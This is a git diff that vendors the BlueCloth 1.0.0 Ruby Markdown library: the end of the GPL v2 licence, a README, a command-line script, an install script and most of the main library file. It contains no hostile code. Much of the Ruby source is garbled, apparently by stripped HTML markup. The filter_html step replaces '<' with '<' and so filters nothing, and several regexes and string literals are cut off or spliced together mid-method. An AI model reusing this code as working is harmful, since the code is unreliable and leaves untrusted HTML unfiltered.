      +  10. If you wish to incorporate parts of the Program into other free
      +programs whose distribution conditions are different, write to the author
      +to ask for permission.  For software which is copyrighted by the Free
      +Software Foundation, write to the Free Software Foundation; we sometimes
      +make exceptions for this.  Our decision will be guided by the two goals
      +of preserving the free status of all derivatives of our free software and
      +of promoting the sharing and reuse of software generally.
      +
      +			    NO WARRANTY
      +
      +  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
      +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
      +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
      +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
      +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
      +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
      +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
      +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
      +REPAIR OR CORRECTION.
      +
      +  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
      +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
      +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
      +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
      +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
      +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
      +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
      +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
      +POSSIBILITY OF SUCH DAMAGES.
      +
      +		     END OF TERMS AND CONDITIONS
      +
      +	    How to Apply These Terms to Your New Programs
      +
      +  If you develop a new program, and you want it to be of the greatest
      +possible use to the public, the best way to achieve this is to make it
      +free software which everyone can redistribute and change under these terms.
      +
      +  To do so, attach the following notices to the program.  It is safest
      +to attach them to the start of each source file to most effectively
      +convey the exclusion of warranty; and each file should have at least
      +the "copyright" line and a pointer to where the full notice is found.
      +
      +    
      +    Copyright (C)   
      +
      +    This program is free software; you can redistribute it and/or modify
      +    it under the terms of the GNU General Public License as published by
      +    the Free Software Foundation; either version 2 of the License, or
      +    (at your option) any later version.
      +
      +    This program is distributed in the hope that it will be useful,
      +    but WITHOUT ANY WARRANTY; without even the implied warranty of
      +    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
      +    GNU General Public License for more details.
      +
      +    You should have received a copy of the GNU General Public License
      +    along with this program; if not, write to the Free Software
      +    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
      +
      +
      +Also add information on how to contact you by electronic and paper mail.
      +
      +If the program is interactive, make it output a short notice like this
      +when it starts in an interactive mode:
      +
      +    Gnomovision version 69, Copyright (C) year name of author
      +    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
      +    This is free software, and you are welcome to redistribute it
      +    under certain conditions; type `show c' for details.
      +
      +The hypothetical commands `show w' and `show c' should show the appropriate
      +parts of the General Public License.  Of course, the commands you use may
      +be called something other than `show w' and `show c'; they could even be
      +mouse-clicks or menu items--whatever suits your program.
      +
      +You should also get your employer (if you work as a programmer) or your
      +school, if any, to sign a "copyright disclaimer" for the program, if
      +necessary.  Here is a sample; alter the names:
      +
      +  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
      +  `Gnomovision' (which makes passes at compilers) written by James Hacker.
      +
      +  , 1 April 1989
      +  Ty Coon, President of Vice
      +
      +This General Public License does not permit incorporating your program into
      +proprietary programs.  If your program is a subroutine library, you may
      +consider it more useful to permit linking proprietary applications with the
      +library.  If this is what you want to do, use the GNU Library General
      +Public License instead of this License.
      diff --git a/vendor/bluecloth-1.0.0/README b/vendor/bluecloth-1.0.0/README
      new file mode 100755
      index 00000000..f4021044
      --- /dev/null
      +++ b/vendor/bluecloth-1.0.0/README
      @@ -0,0 +1,99 @@
      +
      +BlueCloth
      +=========
      +
      +Version 1.0.0 - 2004/08/24
      +
      +Original version by John Gruber .  
      +Ruby port by Michael Granger .
      +
      +BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
      +tool for web writers. To quote from the project page: Markdown allows you to
      +write using an easy-to-read, easy-to-write plain text format, then convert it to
      +structurally valid XHTML (or HTML).
      +
      +It borrows a naming convention and several helpings of interface from
      +[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
      +conversion syntax called [Textile][4].
      +
      +
      +Installation
      +------------
      +
      +You can install this module either by running the included `install.rb` script,
      +or by simply copying `lib/bluecloth.rb` to a directory in your load path.
      +
      +
      +Dependencies
      +------------
      +
      +BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
      +with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
      +versions, and the `logger` library, which is also included in 1.8.x and later.
      +
      +
      +Example Usage
      +-------------
      +
      +The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
      +
      +    bc = BlueCloth::new( str )
      +    puts bc.to_html
      +
      +This `README` file is an example of Markdown syntax. The sample program
      +`bluecloth` in the `bin/` directory can be used to convert this (or any other)
      +file with Markdown syntax into HTML:
      +
      +    $ bin/bluecloth README > README.html
      +
      +
      +Acknowledgements
      +----------------
      +
      +This library is a port of the canonical Perl one, and so owes most of its
      +functionality to its author, John Gruber. The bugs in this code are most
      +certainly an artifact of my porting it and not an artifact of the excellent code
      +from which it is derived.
      +
      +It also, as mentioned before, borrows its API liberally from RedCloth, both for
      +compatibility's sake, and because I think Why's code is beautiful. His excellent
      +code and peerless prose have been an inspiration to me, and this module is
      +intended as the sincerest flattery.
      +
      +Also contributing to any success this module may enjoy are those among my peers
      +who have taken the time to help out, either by submitting patches, testing, or
      +offering suggestions and review:
      +
      +* Martin Chase 
      +* Florian Gross 
      +
      +
      +Author/Legal
      +------------
      +
      +Original version:  
      +Copyright (c) 2003-2004 John Gruber  
      +  
      +All rights reserved.
      +
      +Ruby version:  
      +Copyright (c) 2004 The FaerieMUD Consortium
      +
      +BlueCloth is free software; you can redistribute it and/or modify it under the
      +terms of the GNU General Public License as published by the Free Software
      +Foundation; either version 2 of the License, or (at your option) any later
      +version.
      +
      +BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
      +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
      +PARTICULAR PURPOSE.  See the GNU General Public License for more details.
      +
      +
      +  [1]: http://daringfireball.net/projects/markdown/
      +  [2]: http://www.whytheluckystiff.net/ruby/redcloth/
      +  [3]: http://www.whytheluckystiff.net/
      +  [4]: http://www.textism.com/tools/textile/
      +
      +
      +$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $  
      +$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $
      diff --git a/vendor/bluecloth-1.0.0/bin/bluecloth b/vendor/bluecloth-1.0.0/bin/bluecloth
      new file mode 100755
      index 00000000..a57a0a0a
      --- /dev/null
      +++ b/vendor/bluecloth-1.0.0/bin/bluecloth
      @@ -0,0 +1,83 @@
      +#!/usr/bin/ruby
      +#
      +# = bluecloth
      +#
      +# Format one or more text files with the markdown formatter.
      +#
      +# = Synopsis
      +#
      +#   bluecloth [OPTIONS] [FILES]
      +#
      +# 
      +#
      +
      +BEGIN {
      +	require 'bluecloth'
      +	require 'optparse'
      +}
      +
      +DocumentWrapper = %{
      +
      +  %s
      +  
      +%s
      +  
      +
      +}
      +
      +def main
      +	fragment = false
      +	destination = '.'
      +
      +	ARGV.options do |oparser|
      +
      +		oparser.banner = "Usage: #$0 [OPTIONS] FILES"
      +
      +		# Debug mode
      +		oparser.on( "--debug", "-d", TrueClass, "Turn debugging output on" ) {
      +			$DEBUG = true
      +		}
      +
      +		# 'Fragment' mode
      +		oparser.on( "--fragment", "-f", TrueClass,
      +			"Output HTML fragments instead of whole documents" ) {
      +			fragment = true
      +		}
      +
      +		# Output destination
      +		#oparser.on( "--output=DESTINATION", "-o DESTINATION", String,
      +		#	"Write output to DESTINATION instead of the current directory" ) {|arg|
      +		#	destination = arg
      +		#}
      +
      +		oparser.parse!
      +	end
      +
      +	# Filter mode if no arguments
      +	ARGV.push( "-" ) if ARGV.empty?
      +
      +	ARGV.each {|file|
      +		if file == '-'
      +			contents = $stdin.readlines(nil)
      +		else
      +			contents = File::readlines( file, nil )
      +		end
      +
      +		bc = BlueCloth::new( contents.join )
      +
      +		if fragment
      +			$stdout.puts bc.to_html
      +		else
      +			$stdout.puts DocumentWrapper % [ file, bc.to_html ]
      +		end
      +	}
      +
      +rescue => err
      +	$stderr.puts "Aborting: Fatal error: %s" % err.message
      +	exit 255
      +end
      +
      +
      +
      +main
      +
      diff --git a/vendor/bluecloth-1.0.0/install.rb b/vendor/bluecloth-1.0.0/install.rb
      new file mode 100755
      index 00000000..d8708eb6
      --- /dev/null
      +++ b/vendor/bluecloth-1.0.0/install.rb
      @@ -0,0 +1,150 @@
      +#!/usr/bin/ruby
      +#
      +#	BlueCloth Module Install Script
      +#	$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
      +#
      +#	Thanks to Masatoshi SEKI for ideas found in his install.rb.
      +#
      +#	Copyright (c) 2001-2004 The FaerieMUD Consortium.
      +#
      +#	This is free software. You may use, modify, and/or redistribute this
      +#	software under the terms of the Perl Artistic License. (See
      +#	http://language.perl.com/misc/Artistic.html)
      +#
      +
      +require './utils.rb'
      +include UtilityFunctions
      +
      +require 'rbconfig'
      +include Config
      +
      +require 'find'
      +require 'ftools'
      +
      +
      +$version	= %q$Revision: 1.1 $
      +$rcsId		= %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
      +
      +# Define required libraries
      +RequiredLibraries = [
      +	# libraryname, nice name, RAA URL, Download URL
      +	[ 'strscan', "StrScan", 
      +		'http://raa.ruby-lang.org/list.rhtml?name=strscan',
      +		'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
      +	[ 'logger', "Devel-Logger", 
      +		'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
      +		'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
      +]
      +
      +class Installer
      +
      +	@@PrunePatterns = [
      +		/CVS/,
      +		/~$/,
      +		%r:(^|/)\.:,
      +		/\.tpl$/,
      +	]
      +
      +	def initialize( testing=false )
      +		@ftools = (testing) ? self : File
      +	end
      +
      +	### Make the specified dirs (which can be a String or an Array of Strings)
      +	### with the specified mode.
      +	def makedirs( dirs, mode=0755, verbose=false )
      +		dirs = [ dirs ] unless dirs.is_a? Array
      +
      +		oldumask = File::umask
      +		File::umask( 0777 - mode )
      +
      +		for dir in dirs
      +			if @ftools == File
      +				File::mkpath( dir, $verbose )
      +			else
      +				$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
      +			end
      +		end
      +
      +		File::umask( oldumask )
      +	end
      +
      +	def install( srcfile, dstfile, mode=nil, verbose=false )
      +		dstfile = File.catname(srcfile, dstfile)
      +		unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
      +			$stderr.puts "   install #{srcfile} -> #{dstfile}"
      +		else
      +			$stderr.puts "   skipping #{dstfile}: unchanged"
      +		end
      +	end
      +
      +	public
      +
      +	def installFiles( src, dstDir, mode=0444, verbose=false )
      +		directories = []
      +		files = []
      +		
      +		if File.directory?( src )
      +			Find.find( src ) {|f|
      +				Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
      +				next if f == src
      +
      +				if FileTest.directory?( f )
      +					directories << f.gsub( /^#{src}#{File::Separator}/, '' )
      +					next 
      +
      +				elsif FileTest.file?( f )
      +					files << f.gsub( /^#{src}#{File::Separator}/, '' )
      +
      +				else
      +					Find.prune
      +				end
      +			}
      +		else
      +			files << File.basename( src )
      +			src = File.dirname( src )
      +		end
      +		
      +		dirs = [ dstDir ]
      +		dirs |= directories.collect {|d| File.join(dstDir,d)}
      +		makedirs( dirs, 0755, verbose )
      +		files.each {|f|
      +			srcfile = File.join(src,f)
      +			dstfile = File.dirname(File.join( dstDir,f ))
      +
      +			if verbose
      +				if mode
      +					$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
      +				else
      +					$stderr.puts "Install #{srcfile} -> #{dstfile}"
      +				end
      +			end
      +
      +			@ftools.install( srcfile, dstfile, mode, verbose )
      +		}
      +	end
      +
      +end
      +
      +if $0 == __FILE__
      +	header "BlueCloth Installer #$version"
      +
      +	for lib in RequiredLibraries
      +		testForRequiredLibrary( *lib )
      +	end
      +
      +	viewOnly = ARGV.include? '-n'
      +	verbose = ARGV.include? '-v'
      +
      +	debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
      +	sitelibdir = CONFIG['sitelibdir']
      +	debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
      +	sitearchdir = CONFIG['sitearchdir']
      +
      +	message "Installing\n"
      +	i = Installer.new( viewOnly )
      +	i.installFiles( "lib", sitelibdir, 0444, verbose )
      +end
      +	
      +
      +
      +
      diff --git a/vendor/bluecloth-1.0.0/lib/bluecloth.rb b/vendor/bluecloth-1.0.0/lib/bluecloth.rb
      new file mode 100755
      index 00000000..4aa44d25
      --- /dev/null
      +++ b/vendor/bluecloth-1.0.0/lib/bluecloth.rb
      @@ -0,0 +1,1144 @@
      +#!/usr/bin/ruby
      +# 
      +# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion
      +# tool.
      +# 
      +# == Synopsis
      +# 
      +#   doc = BlueCloth::new "
      +#     ## Test document ##
      +#
      +#     Just a simple test.
      +#   "
      +#
      +#   puts doc.to_html
      +# 
      +# == Authors
      +# 
      +# * Michael Granger 
      +# 
      +# == Contributors
      +#
      +# * Martin Chase  - Peer review, helpful suggestions
      +# * Florian Gross  - Filter options, suggestions
      +#
      +# == Copyright
      +#
      +# Original version:
      +#   Copyright (c) 2003-2004 John Gruber
      +#     
      +#   All rights reserved.
      +#
      +# Ruby port:
      +#   Copyright (c) 2004 The FaerieMUD Consortium.
      +# 
      +# BlueCloth is free software; you can redistribute it and/or modify it under the
      +# terms of the GNU General Public License as published by the Free Software
      +# Foundation; either version 2 of the License, or (at your option) any later
      +# version.
      +# 
      +# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
      +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
      +# A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
      +# 
      +# == To-do
      +#
      +# * Refactor some of the larger uglier methods that have to do their own
      +#   brute-force scanning because of lack of Perl features in Ruby's Regexp
      +#   class. Alternately, could add a dependency on 'pcre' and use most Perl
      +#   regexps.
      +#
      +# * Put the StringScanner in the render state for thread-safety.
      +#
      +# == Version
      +#
      +#  $Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
      +# 
      +
      +require 'digest/md5'
      +require 'logger'
      +require 'strscan'
      +
      +
      +### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
      +### tool.
      +class BlueCloth < String
      +
      +	### Exception class for formatting errors.
      +	class FormatError < RuntimeError
      +
      +		### Create a new FormatError with the given source +str+ and an optional
      +		### message about the +specific+ error.
      +		def initialize( str, specific=nil )
      +			if specific
      +				msg = "Bad markdown format near %p: %s" % [ str, specific ]
      +			else
      +				msg = "Bad markdown format near %p" % str
      +			end
      +
      +			super( msg )
      +		end
      +	end
      +
      +
      +	# Release Version
      +	Version = '0.0.3'
      +
      +	# SVN Revision
      +	SvnRev = %q$Rev: 69 $
      +
      +	# SVN Id tag
      +	SvnId = %q$Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
      +
      +	# SVN URL
      +	SvnUrl = %q$URL: svn+ssh://svn.faeriemud.org/usr/local/svn/BlueCloth/trunk/lib/bluecloth.rb $
      +
      +
      +	# Rendering state struct. Keeps track of URLs, titles, and HTML blocks
      +	# midway through a render. I prefer this to the globals of the Perl version
      +	# because globals make me break out in hives. Or something.
      +	RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log )
      +
      +	# Tab width for #detab! if none is specified
      +	TabWidth = 4
      +
      +	# The tag-closing string -- set to '>' for HTML
      +	EmptyElementSuffix = "/>";
      +
      +	# Table of MD5 sums for escaped characters
      +	EscapeTable = {}
      +	'\\`*_{}[]()#.!'.split(//).each {|char|
      +		hash = Digest::MD5::hexdigest( char )
      +
      +		EscapeTable[ char ] = {
      + 			:md5 => hash,
      +			:md5re => Regexp::new( hash ),
      +			:re  => Regexp::new( '\\\\' + Regexp::escape(char) ),
      +		}
      +	}
      +
      +
      +	#################################################################
      +	###	I N S T A N C E   M E T H O D S
      +	#################################################################
      +
      +	### Create a new BlueCloth string.
      +	def initialize( content="", *restrictions )
      +		@log = Logger::new( $deferr )
      +		@log.level = $DEBUG ?
      +			Logger::DEBUG :
      +			($VERBOSE ? Logger::INFO : Logger::WARN)
      +		@scanner = nil
      +
      +		# Add any restrictions, and set the line-folding attribute to reflect
      +		# what happens by default.
      +		@filter_html = nil
      +		@filter_styles = nil
      +		restrictions.flatten.each {|r| __send__("#{r}=", true) }
      +		@fold_lines = true
      +
      +		super( content )
      +
      +		@log.debug "String is: %p" % self
      +	end
      +
      +
      +	######
      +	public
      +	######
      +
      +	# Filters for controlling what gets output for untrusted input. (But really,
      +	# you're filtering bad stuff out of untrusted input at submission-time via
      +	# untainting, aren't you?)
      +	attr_accessor :filter_html, :filter_styles
      +
      +	# RedCloth-compatibility accessor. Line-folding is part of Markdown syntax,
      +	# so this isn't used by anything.
      +	attr_accessor :fold_lines
      +
      +
      +	### Render Markdown-formatted text in this string object as HTML and return
      +	### it. The parameter is for compatibility with RedCloth, and is currently
      +	### unused, though that may change in the future.
      +	def to_html( lite=false )
      +
      +		# Create a StringScanner we can reuse for various lexing tasks
      +		@scanner = StringScanner::new( '' )
      +
      +		# Make a structure to carry around stuff that gets placeholdered out of
      +		# the source.
      +		rs = RenderState::new( {}, {}, {} )
      +
      +		# Make a copy of the string with normalized line endings, tabs turned to
      +		# spaces, and a couple of guaranteed newlines at the end
      +		text = self.gsub( /\r\n?/, "\n" ).detab
      +		text += "\n\n"
      +		@log.debug "Normalized line-endings: %p" % text
      +
      +		# Filter HTML if we're asked to do so
      +		if self.filter_html
      +			text.gsub!( "<", "<" )
      +			text.gsub!( ">", ">" )
      +			@log.debug "Filtered HTML: %p" % text
      +		end
      +
      +		# Simplify blank lines
      +		text.gsub!( /^ +$/, '' )
      +		@log.debug "Tabs -> spaces/blank lines stripped: %p" % text
      +
      +		# Replace HTML blocks with placeholders
      +		text = hide_html_blocks( text, rs )
      +		@log.debug "Hid HTML blocks: %p" % text
      +		@log.debug "Render state: %p" % rs
      +
      +		# Strip link definitions, store in render state
      +		text = strip_link_definitions( text, rs )
      +		@log.debug "Stripped link definitions: %p" % text
      +		@log.debug "Render state: %p" % rs
      +
      +		# Escape meta-characters
      +		text = escape_special_chars( text )
      +		@log.debug "Escaped special characters: %p" % text
      +
      +		# Transform block-level constructs
      +		text = apply_block_transforms( text, rs )
      +		@log.debug "After block-level transforms: %p" % text
      +
      +		# Now swap back in all the escaped characters
      +		text = unescape_special_chars( text )
      +		@log.debug "After unescaping special characters: %p" % text
      +
      +		return text
      +	end
      +	
      +
      +	### Convert tabs in +str+ to spaces.
      +	def detab( tabwidth=TabWidth )
      +		copy = self.dup
      +		copy.detab!( tabwidth )
      +		return copy
      +	end
      +
      +
      +	### Convert tabs to spaces in place and return self if any were converted.
      +	def detab!( tabwidth=TabWidth )
      +		newstr = self.split( /\n/ ).collect {|line|
      +			line.gsub( /(.*?)\t/ ) do
      +				$1 + ' ' * (tabwidth - $1.length % tabwidth)
      +			end
      +		}.join("\n")
      +		self.replace( newstr )
      +	end
      +
      +
      +	#######
      +	#private
      +	#######
      +
      +	### Do block-level transforms on a copy of +str+ using the specified render
      +	### state +rs+ and return the results.
      +	def apply_block_transforms( str, rs )
      +		# Port: This was called '_runBlockGamut' in the original
      +
      +		@log.debug "Applying block transforms to:\n  %p" % str
      +		text = transform_headers( str, rs )
      +		text = transform_hrules( text, rs )
      +		text = transform_lists( text, rs )
      +		text = transform_code_blocks( text, rs )
      +		text = transform_block_quotes( text, rs )
      +		text = transform_auto_links( text, rs )
      +		text = hide_html_blocks( text, rs )
      +
      +		text = form_paragraphs( text, rs )
      +
      +		@log.debug "Done with block transforms:\n  %p" % text
      +		return text
      +	end
      +
      +
      +	### Apply Markdown span transforms to a copy of the specified +str+ with the
      +	### given render state +rs+ and return it.
      +	def apply_span_transforms( str, rs )
      +		@log.debug "Applying span transforms to:\n  %p" % str
      +
      +		str = transform_code_spans( str, rs )
      +		str = encode_html( str )
      +		str = transform_images( str, rs )
      +		str = transform_anchors( str, rs )
      +		str = transform_italic_and_bold( str, rs )
      +
      +		# Hard breaks
      +		str.gsub!( / {2,}\n/, "
      +	# 		
      + # tags for inner block must be indented. + #
      + #
+ StrictBlockRegex = %r{ + ^ # Start of line + <(#{StrictTagPattern}) # Start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + # Matching end tag + [ ]* # trailing spaces + $ # End of line or document + }ix + + # More-liberal block-matching + LooseBlockRegex = %r{ + ^ # Start of line + <(#{LooseTagPattern}) # start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + .* # Anything + Matching end tag + [ ]* # trailing spaces + $ # End of line or document + }ix + + # Special case for
. + HruleBlockRegex = %r{ + ( # $1 + \A\n? # Start of doc + optional \n + | # or + .*\n\n # anything + blank line + ) + ( # save in $2 + [ ]* # Any spaces +
])*? # Attributes + /?> # Tag close + $ # followed by a blank line or end of document + ) + }ix + + ### Replace all blocks of HTML in +str+ that start in the left margin with + ### tokens. + def hide_html_blocks( str, rs ) + @log.debug "Hiding HTML blocks in %p" % str + + # Tokenizer proc to pass to gsub + tokenize = lambda {|match| + key = Digest::MD5::hexdigest( match ) + rs.html_blocks[ key ] = match + @log.debug "Replacing %p with %p" % [ match, key ] + "\n\n#{key}\n\n" + } + + rval = str.dup + + @log.debug "Finding blocks with the strict regex..." + rval.gsub!( StrictBlockRegex, &tokenize ) + + @log.debug "Finding blocks with the loose regex..." + rval.gsub!( LooseBlockRegex, &tokenize ) + + @log.debug "Finding hrules..." + rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] } + + return rval + end + + + # Link defs are in the form: ^[id]: url "optional title" + LinkRegex = %r{ + ^[ ]*\[(.+)\]: # id = $1 + [ ]* + \n? # maybe *one* newline + [ ]* + ? # url = $2 + [ ]* + \n? # maybe one newline + [ ]* + (?: + # Titles are delimited by "quotes" or (parens). + ["(] + (.+?) # title = $3 + [")] # Matching ) or " + [ ]* + )? # title is optional + (?:\n+|\Z) + }x + + ### Strip link definitions from +str+, storing them in the given RenderState + ### +rs+. + def strip_link_definitions( str, rs ) + str.gsub( LinkRegex ) {|match| + id, url, title = $1, $2, $3 + + rs.urls[ id.downcase ] = encode_html( url ) + unless title.nil? + rs.titles[ id.downcase ] = title.gsub( /"/, """ ) + end + "" + } + end + + + ### Escape special characters in the given +str+ + def escape_special_chars( str ) + @log.debug " Escaping special characters" + text = '' + + # The original Markdown source has something called '$tags_to_skip' + # declared here, but it's never used, so I don't define it. + + tokenize_html( str ) {|token, str| + @log.debug " Adding %p token %p" % [ token, str ] + case token + + # Within tags, encode * and _ + when :tag + text += str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + + # Encode backslashed stuff in regular text + when :text + text += encode_backslash_escapes( str ) + else + raise TypeError, "Unknown token type %p" % token + end + } + + @log.debug " Text with escapes is now: %p" % text + return text + end + + + ### Swap escaped special characters in a copy of the given +str+ and return + ### it. + def unescape_special_chars( str ) + EscapeTable.each {|char, hash| + @log.debug "Unescaping escaped %p with %p" % [ char, hash[:md5re] ] + str.gsub!( hash[:md5re], char ) + } + + return str + end + + + ### Return a copy of the given +str+ with any backslashed special character + ### in it replaced with MD5 placeholders. + def encode_backslash_escapes( str ) + # Make a copy with any double-escaped backslashes encoded + text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] ) + + EscapeTable.each_pair {|char, esc| + next if char == '\\' + text.gsub!( esc[:re], esc[:md5] ) + } + + return text + end + + + ### Transform any Markdown-style horizontal rules in a copy of the specified + ### +str+ and return it. + def transform_hrules( str, rs ) + @log.debug " Transforming horizontal rules" + str.gsub( /^( ?[\-\*_] ?){3,}$/, "\n\n%s\n} % [ + list_type, + transform_list_items( list, rs ), + list_type, + ] + } + end + + + # Pattern for transforming list items + ListItemRegexp = %r{ + (\n)? # leading line = $1 + (^[ ]*) # leading whitespace = $2 + (#{ListMarkerAny}) [ ]+ # list marker = $3 + ((?m:.+?) # list item text = $4 + (\n{1,2})) + (?= \n* (\z | \2 (#{ListMarkerAny}) [ ]+)) + }x + + ### Transform list items in a copy of the given +str+ and return it. + def transform_list_items( str, rs ) + @log.debug " Transforming list items" + + # Trim trailing blank lines + str = str.sub( /\n{2,}\z/, "\n" ) + + str.gsub( ListItemRegexp ) {|line| + @log.debug " Found item line %p" % line + leading_line, item = $1, $4 + + if leading_line or /\n{2,}/.match( item ) + @log.debug " Found leading line or item has a blank" + item = apply_block_transforms( outdent(item), rs ) + else + # Recursion for sub-lists + @log.debug " Recursing for sublist" + item = transform_lists( outdent(item), rs ).chomp + item = apply_span_transforms( item, rs ) + end + + %{
  • %s
  • \n} % item + } + end + + + # Pattern for matching codeblocks + CodeBlockRegexp = %r{ + (?:\n\n|\A) + ( # $1 = the code block + (?: + (?:[ ]{#{TabWidth}} | \t) # a tab or tab-width of spaces + .*\n+ + )+ + ) + (^[ ]{0,#{TabWidth - 1}}\S|\Z) # Lookahead for non-space at + # line-start, or end of doc + }x + + ### Transform Markdown-style codeblocks in a copy of the specified +str+ and + ### return it. + def transform_code_blocks( str, rs ) + @log.debug " Transforming code blocks" + + str.gsub( CodeBlockRegexp ) {|block| + codeblock = $1 + remainder = $2 + + # Generate the codeblock + %{\n\n
    %s\n
    \n\n%s} % + [ encode_code( outdent(codeblock), rs ).rstrip, remainder ] + } + end + + + # Pattern for matching Markdown blockquote blocks + BlockQuoteRegexp = %r{ + (?: + ^[ ]*>[ ]? # '>' at the start of a line + .+\n # rest of the first line + (?:.+\n)* # subsequent consecutive lines + \n* # blanks + )+ + }x + PreChunk = %r{ ( ^ \s*
     .+? 
    ) }xm + + ### Transform Markdown-style blockquotes in a copy of the specified +str+ + ### and return it. + def transform_block_quotes( str, rs ) + @log.debug " Transforming block quotes" + + str.gsub( BlockQuoteRegexp ) {|quote| + @log.debug "Making blockquote from %p" % quote + + quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting + quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines + + indent = " " * TabWidth + quoted = %{
    \n%s\n
    \n\n} % + apply_block_transforms( quote, rs ). + gsub( /^/, indent ). + gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') } + @log.debug "Blockquoted chunk is: %p" % quoted + quoted + } + end + + + AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/ + AutoAnchorEmailRegexp = %r{ + < + ( + [-.\w]+ + \@ + [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+ + ) + > + }xi + + ### Transform URLs in a copy of the specified +str+ into links and return + ### it. + def transform_auto_links( str, rs ) + @log.debug " Transforming auto-links" + str.gsub( AutoAnchorURLRegexp, %{\\1}). + gsub( AutoAnchorEmailRegexp ) {|addr| + encode_email_address( unescape_special_chars($1) ) + } + end + + + # Encoder functions to turn characters of an email address into encoded + # entities. + Encoders = [ + lambda {|char| "&#%03d;" % char}, + lambda {|char| "&#x%X;" % char}, + lambda {|char| char.chr }, + ] + + ### Transform a copy of the given email +addr+ into an escaped version safer + ### for posting publicly. + def encode_email_address( addr ) + + rval = '' + ("mailto:" + addr).each_byte {|b| + case b + when ?: + rval += ":" + when ?@ + rval += Encoders[ rand(2) ][ b ] + else + r = rand(100) + rval += ( + r > 90 ? Encoders[2][ b ] : + r < 45 ? Encoders[1][ b ] : + Encoders[0][ b ] + ) + end + } + + return %{%s} % [ rval, rval.sub(/.+?:/, '') ] + end + + + # Regex for matching Setext-style headers + SetextHeaderRegexp = %r{ + (.+) # The title text ($1) + \n + ([\-=])+ # Match a line of = or -. Save only one in $2. + [ ]*\n+ + }x + + # Regexp for matching ATX-style headers + AtxHeaderRegexp = %r{ + ^(\#{1,6}) # $1 = string of #'s + [ ]* + (.+?) # $2 = Header text + [ ]* + \#* # optional closing #'s (not counted) + \n+ + }x + + ### Apply Markdown header transforms to a copy of the given +str+ amd render + ### state +rs+ and return the result. + def transform_headers( str, rs ) + @log.debug " Transforming headers" + + # Setext-style headers: + # Header 1 + # ======== + # + # Header 2 + # -------- + # + str. + gsub( SetextHeaderRegexp ) {|m| + @log.debug "Found setext-style header" + title, hdrchar = $1, $2 + title = apply_span_transforms( title, rs ) + + case hdrchar + when '=' + %[

    #{title}

    \n\n] + when '-' + %[

    #{title}

